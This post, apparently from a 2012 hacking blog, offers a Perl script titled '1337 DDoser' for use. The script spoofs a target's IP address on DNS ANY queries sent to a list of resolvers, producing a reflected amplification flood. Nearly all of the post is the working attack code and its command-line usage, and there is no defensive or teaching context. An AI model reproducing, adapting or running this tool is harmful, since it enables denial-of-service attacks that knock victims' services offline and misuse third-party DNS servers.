1337 DDoser!! [perl]

===================================STARTR CODE=====================================

#!/usr/bin/perl
print"####################################################\n";
print"# 1337 Ddos Attack Tool                            #\n";
print"# Coded By Angel Injection                         #\n";
print"# Web Site: http://1337day.com http://r00tw0rm.com #\n";
print"# Thanks To All My Team                            #\n";
print"####################################################\n";
use Net::DNS::Resolver;
use Net::RawIP;

open(LIST,"ns.list");
@list=<LIST>;
close LIST;
chomp(@list);
my $lnum=@list;
my $i=0;
my $loop=0;

if ($ARGV[0] eq '') {
    print "Usage: ./1337.pl <target IP> <Number of strikes>\n";
    exit(0);
}
while($loop < $ARGV[1]) {
while($i < $lnum) {
  my $source = $ARGV[0];
  my $dnspkt = new Net::DNS::Packet("google.com","ANY");
  my $pktdata = $dnspkt->data;
  my $sock = new Net::RawIP({udp=>{}});

  $sock->set({ip => { saddr => $source, daddr => $list[$i],  frag_off=>0,tos=>0,id=>1565}, udp => {source => 53, dest  => 53, data=>$pktdata} });

  $sock->send;
  $i++;

}$loop++; $i=0;}

exit(0);

==================================END CODE=======================================

1337 DDoser!! [perl] 2012-04-18T18:59:00-07:00 Rating: 4.5 Diposkan Oleh: r007-